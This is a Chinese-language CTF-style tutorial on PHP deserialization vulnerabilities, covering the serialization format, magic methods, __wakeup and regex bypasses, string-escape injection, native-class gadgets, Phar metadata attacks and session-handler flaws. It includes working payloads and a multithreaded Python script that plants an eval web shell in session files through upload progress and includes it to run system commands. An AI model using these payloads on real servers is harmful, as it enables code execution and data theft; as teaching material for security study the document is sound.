Serialize & unserialize

这两个方法为 PHP 中的方法, 参见 serializeunserialize 的官方文档.

以下内容中可能存在 字段, 属性, 成员 三个名词误用/混用, 但基本都表示 属性

文章仍在完善之中, SESSION 反序列化漏洞要学废了

入门

我们先看看方法的序列化之后的字符串的格式是怎么样的:

首先每一个序列化后的小段都由; 隔开, 使用{}表示层级关系

数据类型提示符格式
字符串ss:长度:"内容"
已转义字符串Ss:长度:"转义后的内容"
整数ii:数值
布尔值bb:1 => true / b:0 => false
空值NN;
数组aa:大小:{键序列段;值序列段;<重复多次>}
对象OO:类型名长度:"类型名称":成员数:{成员名称序列段;成员值序列段:}
引用RR:反序列化变量的序号, 从1开始

[!NOTE]

我们可以把对象的成员抽象为一个关联数组

我们的键只允许字符串(关联数组)和整数型(数值数组), 对与特殊的键将会进行转换

例如 NULL 会转成 空字符串, true 会转换成 整数1, false 会转换成 整数2

其余情况会被强转成字符串, 例如 数组 会转换成 Array

我们使用一个具体一点的示例来看看:

<?php

class Kengwang
{
    public $name = "kengwang";
    public $age = 18;
    public $sex = true;
    public $route = LearningRoute::Web;
    public $tag = array("dino", "cdut", "chengdu");
    public $girlFriend = null;
    private $pants = "red"; // not true
}

enum LearningRoute {
    case Web;
    case Pwn;
    case Misc;
}

$kw = new Kengwang();
print_r(serialize($kw));

我们可以看看序列化后的内容:

O:8:"Kengwang":7:{s:4:"name";s:8:"kengwang";s:3:"age";i:18;s:3:"sex";b:1;s:5:"route";E:17:"LearningRoute:Web";s:3:"tag";a:3:{i:0;s:4:"dino";i:1;s:4:"cdut";i:2;s:7:"chengdu";}s:10:"girlFriend";N;s:15:"Kengwangpants";s:3:"red";}

有些混乱, 我们按照层级关系理一理

O:8:"Kengwang":7:{ // 定义了一个对象 [O], 对象名称长度为 [8], 对象类型数为 [7]
    s:4:"name";s:8:"kengwang"; // 第一个字段名称是[4]个长度的"name", 值为长度为[8]的字符串([s]) "kengwang" 
    s:3:"age";i:18; // 第二个字段名称是长度为[3]的"age", 值为整数型([i]): 18
    s:3:"sex";b:1; // 第三个字段名称是长度为[3]的"sex", 值为布尔型([b]): 1 -> true
    s:5:"route";E:17:"LearningRoute:Web"; // 第四个字段名称是长度为[5]的"route", 值为枚举类型([E]), 枚举值长度为 [17], 值为 "...":
    s:3:"tag";a:3:{ // 长度为 [3] 的数组([a])
        i:0;s:4:"dino"; // 第[0]个元素
        i:1;s:4:"cdut";
        i:2;s:7:"chengdu";
    }
    s:10:"girlFriend";N; // 字段 "girlFriend" 为 NULL
    s:15:" Kengwang pants";s:3:"red"; // 私有字段名称为 类型名 字段名, 其中类型名用 NULL 字符包裹
}

关于非公有字段名称:

  • private 使用: 私有的类的名称 (考虑到继承的情况) 和字段名组合 \x00类名称\x00字段名
  • protected 使用: * 和字段名组合 \x00*\x00字段名

魔术方法

PHP 之中的对象拥有一个生命周期, 在生命周期中会调用 魔术方法, 可参见官方文档.

对于魔术方法的详细作用不在本文的讨论重点.

__construct

构造函数, 在对应对象实例化时自动被调用. 子类中的构造函数不会隐式调用父类的构造函数.

在 PHP 8 以前, 与类名同名的方法可以作为 __constuct 调用但 __construct 方法优先

__wakeup

此方法在对象被反序列化时会调用

__sleep

此方法在对象被序列化时会调用

__toString

此方法在对象转化成字符串时会被调用.

当然, 因为 PHP 是一个弱类型语言, 很多情况对象会被隐式转换成字符串, 比如说

  • == 与字符串比较时会被隐式转换
  • 字符串操作 (str系列函数), 字符串拼接, addslashes
  • 一些参数需要为字符串的参数: class_exists , in_array(第一个参数), SQL 预编译语句, md5, sha1
  • print, echo 函数

__get

在读取某些不可访问或者不存在的字段时会调用此方法, 传入参数为字段名称

__set

给不可访问和不存在的字段赋值时会被调用, 传入的参数第一个为字段名, 第二个为赋值

__invoke

把对象当做函数调用时会使用, 例如 $foo()

当然不仅限于显式调用, 将其作为回调函数 (例如 array_map作为第一个参数传入) 也会调用此函数

__call

调用无法访问的方法时会调用

__isset

在对不可访问的字段调用 isset 或者 empty 时调用

__unset

不可访问的字段使用 unset 时触发

__debugInfo

在使用 var_dump, print_r 时会被调用

剩下的直接贴出其他师傅整理好的:

__call()        // 在对象上下文中调用不可访问的方法时触发
__callStatic()    // 在静态上下文中调用不可访问的方法时触发
__set_state()    // 调用var_export()导出类时,此静态方法会被调用
__clone()        // 当对象复制完成时调用
__autoload()    // 尝试加载未定义的类

魔术方法执行顺序

对于魔术方法的调用顺序, 不同的情况下会有不同的顺序

首先, 一个对象在其生命周期中一定会走过 destruct, 只有当对象没有被任何变量指向时才会被回收

当使用 new 关键字来创建一个对象时会调用 construct

对于序列化/反序列化时的情况:

序列化时会先调用 sleep 再调用 destruct, 故而完整的调用顺序为: sleep -> (变量存在) -> destruct

反序列化时如果有 __wakeup 则会调用 __wakeUp 而不是 __construct, 故而逻辑为 __wakeUp/__construct -> (变量存在)

当然, 也会有不遵守这个调用顺序的情况, 后面绕过里面会进行讨论

由此, 我们可以利用对象反序列化来构造 POP 链, 我们可以看一道题

2023年 SWPU NSS 秋季招新赛 (校外赛道) - UnS3rialize, 在文章最底部

绕过

非公有字段绕过

对于 php7.1+ 版本, 反序列化时若提供的命名为公有字段格式, 会忽略掉非公有字段的访问性, 而可以绕过直接直接对其赋值

这个时候我们有两种方法可以

  1. 在写序列化 php 文件时可以直接将字段改成 public
  2. 修改序列化后的字段名, 改为公开字段的样式, 记得修改字符数

绕过 __wakeup

参见 CVE-2016-7124

利用条件:

  • php5: <5.6.25
  • php7: <7.0.10

当反序列化时, 给出的字段个数的数字小于提供的字段个数, 将不会执行 __wakeup

例如:

O:4:"Dino":1:{s:4:"addr";s:3:"209";}

改为:

O:4:"Dino":114514:{s:4:"addr";s:3:"209";}

十六进制绕过字符匹配

我们可以使用十六进制搭配上已转义字符串来绕过对某些字符的检测

例如:

<?php
class Read
{
    public $name;

    public function __wakeup()
    {
        if ($this->name == "flag")
        {
            echo "You did it!";
        }
    }
}


$str = '';
if (strpos($str, "flag") === false)
{
    $obj = unserialize($str);
}
else
{
    echo "You can't do it!";
}

这里检测了是否包含 flag 字符, 我们可以尝试使用 flag 的十六进制 \66\6c\61\67 来绕过, 构造以下:

'O:4:"Read":1:{s:4:"name";S:4:"\66\6c\61\67";}'

顺便贴一个 Python 脚本, 可以将字符串转换为 Hex

str = input('Enter a string: ')
print('\\' + str.encode('utf-8').hex('\\'))

利用好引用

对于需要判断两个变量是否相等时, 我们可以考虑使用引用来让两个变量始终相等.

这个相当于一个指针一样, 代码如下:

class A {
    public $a;
    public $b;    
}

$a = new A();
$a->a = &$a->b;
echo serialize($a);

序列化后的结果为:

O:1:"A":2:{s:1:"a";N;s:1:"b";R:2;}

对象反序列化正则绕过

有些时候我们会看到^O:\d+ 这种的正则表达式, 要求开头不能为对象反序列化

这种情况我们有以下绕过手段

  1. 由于\d只判断了是否为数字, 则可以在个数前添加+号来绕过正则表达式
  2. 将这个对象嵌套在其他类型的反序列化之中, 例如数组

当然, 第一种更佳. 因为若不只匹配开头则仍可以绕过

字符逃逸

对于字符逃逸, 由于 PHP 序列化后的字符类型中的引号不会被转义, 对于字符串末尾靠提供的字符数量来读取, 对于服务端上将传入的字符串实际长度进行增加或减少(例如替换指定字符到更长/短的字符), 我们就可以将其溢出并我们的恶意字符串反序列化.

这种情况下我们通常只能控制其中的一个字符变量, 而不是整个反序列话字符串. 题目会将其先序列化, 再进行字符处理, 之后再反序列化. (类似于将对象存储到数据库)

例如我们有如下过滤机制:

<?php

class Book
{
    public $id = 114514;
    public $name = "Kengwang 的学习笔记"; // 可控
    public $path = "Kengwang 的学习笔记.md";
}

function filter($str)
{
    return str_replace("'", "\\'", $str);
}

$exampleBook = new Book();
echo "[处理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[处理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路径] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

此代码会将其中的单引号过滤成为转义+单引号, 此时字符串的长度会进行变化, 我们可以利用这一点使 name 中的东西溢出到 path 中.

我们构造恶意字符串时需要先将前面的双引号闭合,同时分号表示此变量结束. 在攻击变量结束之后我们需要用 ;} 结束当前的序列化, 会自动忽略掉这之后的序列化.

我们的每一个单引号会变成两个字符, 于是可以将我们的恶意字符给顶掉, 我们只需要提供 恶意字符串长度 个会被放大变成两倍的字符.

当然如果不是两倍, 我们可以灵活运用 + 来进行倍数配齐

例如我们需要恶意构造 ";s:4:"path";s:4:"flag";}s:4:"fake";s:34:, 长度为 41, 于是我们提供 41 个'

最终给 name 的赋值为

Kengwang 的学习笔记'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:

我们可以运行一下试试:

[处理前]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的学习笔记'''''''''''''''''''''''''''''''''''''''''";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[处理后]
O:4:"Book":3:{s:2:"id";i:114514;s:4:"name";s:106:"Kengwang 的学习笔记\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'\'";s:4:"path";s:4:"flag";}s:4:"fake";s:34:";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[文件路径]
flag

可以看到 path 被替换成了 flag

当然有字符增加就会有字符减少, 对于字符减少, 我们假设有如下情况:

<?php

class Book
{
    public $id = 1919810;
    public $name = "Kengwang 的学习笔记"; // 可控
    public $description = "The WORST Web Security Leaning Note"; // 可控
    public $path = "Kengwang 的学习笔记.md";
}

function filter($str)
{
    return str_replace("'", "", $str);
}

$exampleBook = new Book();
echo "[处理前]\n";
$ser = serialize($exampleBook);
echo $ser . "\n";
echo "[处理后]\n";
$ser = filter($ser);
echo $ser . "\n";
echo "[文件路径] \n";
$exampleBook = unserialize($ser);
echo $exampleBook->path . "\n";

这里把反引号给过滤掉了, 我们先拿到正常的序列化后的串

O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:24:"Kengwang 的学习笔记";s:11:"description";s:35:"The WORST Web Security Leaning Note";s:4:"path";s:27:"Kengwang 的学习笔记.md";}

我们需要让 ";s:11:"description";s:35: 被吞掉作为 name 变量的值, description的前引号会将其闭合, 此后 description 中的就会逃逸出成为反序列化串, 于是我们在 name 中填入 要被吞掉的字符数目 个', 于是尝试

name 赋值为 Kengwang Note''''''''''''''''''''''''''

description 赋值为 ;s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"

得到结果如下

[处理前]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note''''''''''''''''''''''''''";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的学习 笔记.md";}
[处理后]
O:4:"Book":4:{s:2:"id";i:114514;s:4:"name";s:39:"Kengwang Note";s:11:"description";s:55:";s:4:"path";s:4:"flag";s:11:"description";s:0:"";}s:0:"";s:4:"path";s:27:"Kengwang 的学习笔记.md";}
[文件路径]
flag

利用不完整类使再次序列化结果变化

当存在 serialize(unserialize($x)) != $x 这种很神奇的东西时, 我们可以利用不完整类 __PHP_Incomplete_Class 来进行处理

当我们尝试反序列化到一个不存在的类是, PHP 会使用 __PHP_Incomplete_Class_Name 这个追加的字段来进行存储

我们于是可以尝试自己构造一个不完整类

<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(serialize(unserialize($raw)) == $exp); // true

这样就可以绕过了

更近一步, 我们可以通过这个让一个对象被调用后凭空消失, 只需要手动构造无__PHP_Incomplete_Class_Name的不完整对象

PHP 会先把他的属性给创建好, 但是在创建好最后一个属性后并未发现 __PHP_Incomplete_Class_Name, 于是会将前面创建的所有的属性回收并引发 __destruct

当然, 要达成这种在反序列化后的变量还存在的时候引发 destruct, 还有下面这一种方法

Fast Destruct (提前 GC 回收)

还有一种叫做 fast destruct 的神奇操作, 通常是在反序列化之后 throw 了一个 Exception 导致没有正常进入回收的逻辑. 同样也是为了在序列化过程中, 在已经创建好了属性的对象之后引发反序列化错误, 导致全部属性被回收而 destruct, 这种手法要比上一种简单一点点:

  • 改变序列化的元素数字个数 (往小的写)
  • 删掉最后一个} (这是什么爽的操作)
这个可以参考 强网杯 2021 WhereIsUWebShell, 可以去看看其他师傅的解法, 我在看的时候看到了很多奇特的绕过手法.

利用

原生类应用

当然, 我们反序列化也可以反序列化 PHP 中存在的类, 我们可以利用这些类存在的一些魔术方法来进行利用

我们可以通过脚本来获取到这些类:

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            echo $class . '::' . $method . "\n";
        }
    }
}

输出的内容有点多就不在这里贴出来了, 我们关注几个原生类

SoapClient

PHP 中默认未启用此扩展, 需要修改 php.ini, 取消 extension=soap 前的注释

SoapClient 可以进行 HTTP/HTTPS 的请求, 但是不会输出服务端输出的内容. 不过, 我们仍然可以利用这个来进行内网渗透.

我们通过上面的脚本可以找到 SoapClient 类中存在 SoapClient::__call, 当我们调用一个不存在的方法时会转发到此方法, 同时请求给服务端

对于 SoapClient 的反序列化, 我们可以控制很多地方的参数,

  • location (SoapClientlocation),这样就可以发送请求到指定服务器
  • uri (SoapClienturi), 由于这一串最后会到 Header 里的 SOAPAction, 我们可以在这里注入换行来新建 Header 项, 注意这里的会自动给传入的内容包裹上双引号
  • useragent (SoapClient_user_agent), 由于 User-Agent 段在 Content-Type 的上方, 我们可以通过对 useragent 换行来覆盖掉默认的 text/xml 的请求类型. 由于默认是 POST 请求, 结合起来我们就可以对指定服务器发送任意 POST 请求.

Exception / Error 类利用

如果 php 文件没有禁用报错输出, 我们可以利用 Exception 的打印时会调用 __toString 来打印报错信息, 于是我们便可以在报错信息 (Exception Message) 中进行 XSS 注入.

同时也可以绕过哈希比较, 当两个报错类, 一个 Exception, 一个为 Error, 虽然他们两个对象类型不等, 但经过 __toString 后都一致, 可以利用他来绕过 PHP 中的哈希比较

文件操作

ZipArchive 类删除文件

是不是很神奇, 这个能把文件删除了!

ZipArchive 中存在 open 方法, 参数为 (string $filename, int $flags=0), 第一个为文件名, 第二个为打开的模式, 有以下几种模式

ZipArchive::OVERWRITE    总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除
ZipArchive::CREATE        如果不存在则创建一个zip压缩包
ZipArchive::RDONLY        只读模式打开压缩包
ZipArchive::EXCL        如果压缩包已经存在,则出错
ZipArchive::CHECKCONS    对压缩包执行额外的一致性检查,如果失败则显示错误

我们可以发现当 flagoverride (8) 时, 会将目标文件先进行删除, 之后由于并没有进行保存操作, 于是文件就被删除了

ByteCTF 2019 - EZCMS 中有出现过

SQLite3 类创建文件

可以利用此创建本地数据库的能力来创建一个文件

DirectoryIterator / FilesystemIterator 列出文件

这两个类在进行 toString 操作后会返回当前目录中的第一个文件

还有一个特殊的 GlobIterator, 不需要 glob:// 就可以遍历目录

SplFileObject 读取文件

该方法不支持通配符并且只能获取都爱第一行, 但是当走投无路的时候也不失为一种方法

这几个文件读取类在 2023 第六届安洵杯网络安全挑战赛 - easy_unserialize 出现过, 文末有相关题目

闭包 (Closure)

闭包在 PHP 5.3 版本中被引入来代表匿名函数, 直接将其作为函数来调用. 但是会收到 PHP 的安全限制而无法反序列化.

当然, 我们可能会发现一些第三方的 Closure 库并没有没安全限制, 利用这些来反序列化也异曲同工.

Reflection系列 反射

可以参考 PHP 手册: https://www.php.net/manual/en/book.reflection.php

反射可以让你获取到指定类,函数等的代码, 可以利用其进行输出

SimpleXMLElement XML 读取

可以把这个和 XXE 结合起来实现文件读取

Phar 反序列化

Phar 相当于一个打包了 php 文件的压缩包. Phar 是PHP 5.3 中新增的特性。 它能够在打包 PHP 文件,这对通过单个文件发布应用程序或库有很大帮助。

勾起以前开 MC 基岩版插件服的回忆了

Phar 会以序列化的方式存储 meta-data (manifest), 当我们使用 phar:// 协议读取 Phar 文件的时候, PHP 会将其反序列化. 几乎所有的文件读取函数都收到了此影响,

参见 https://paper.seebug.org/680/ 以及 https://blog.zsxsoft.com/post/38

我们需要在本地环境的 php.ini 中将 ;phar.readonly = On 改为 phar.readonly = Off

我们可以先构建一个恶意 phar 文件:

<?php
    class D1no{
    }
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new D1no();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

之后我们就可以将此文件上传到服务器, 再通过文件操作函数调用, 例如 phar://test.phar/test 来让他打开 phar 文件

当然在上面引用的两篇文章中可以看到还有很多意想不到的地方也受到了影响

当然, 如果存在某些校验, 我们也可以通过一些手段绕过.

如果不允许 phar 出现在文件路径开头, 我们可以套上其他的协议: compress.bzip://, compress.bzip2://, compress.zlib://, php://filter/resource=

如果不允许文件中存在 __HALT_COMPILER, 则将其进行 gzip2 压缩后上传再解析即可

SESSION 反序列化漏洞

这里我们主要利用 session.upload_progress 来进行利用.

我们要先知道, 如果没有特别配置的话, session 通常存储在服务器上的某个文件夹中, 并且文件名通常为 sess_{你的SESSION_ID}

由于他存储时时通过反序列化, 所以原本的字符串会被保留. 于是我们可以注入 PHP 代码, 再通过文件包含执行他

利用条件:

  1. 可以进行任意文件包含 (或允许包含 session 存储文件)
  2. 知道session文件存放路径,可以尝试默认路径
  3. 具有读取和写入session文件的权限

若服务器存在文件 test.php:

<?php
$b = $_GET['file'];
include "$b";
?>

我们可以使用类似条件竞争的方法来进行, 下面是 Python, 我加一点点注释:

利用脚本

import io
import requests
import threading
sessid = 'KW'
data = {"cmd":"system('cat /flag');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50) # 创建 dummy 数据
        resp = session.post( 'http://[ip]/test.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('KW.txt',f)}, cookies={'PHPSESSID': sessid} ) # 注入恶意代码到存储的 SESSION 中
def read(session):
    while True:
        resp = session.post('http://[ip]/test.php?file=session/sess_'+sessid,data=data) # 包含 SESSION 文件, 执行恶意代码
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
            break
        else:
            print("[#] Retrying...")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

如果是反序列化的话, 我们也可以进行反序列化注入

如果我们的文件名可控, 我们在之前放上 | 表示前面的是键名, 后再写入恶意代码. 注意引号要进行转义

便可有exp

序列化方法不同导致反序列化问题

SESSION 序列化时的 php 处理器和 php_serialize 处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。

形成的原理就是在用 session.serialize_handler = php_serialize 存储的字符可以引入 | , 再用session.serialize_handler = php 格式取出 $_SESSION 的值时, | 会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞

php 处理器默认会变成:

键名|反序列化串

php_serialize 处理器则是

SESSION 数组反序列化串

此时处理方法的不同就会导致产生反序列化问题
我们可以利用php_serialize处理器构造出一个包含 | 的反序列化串, 再用 php 处理器解析, 由此产生反序列化

参考资料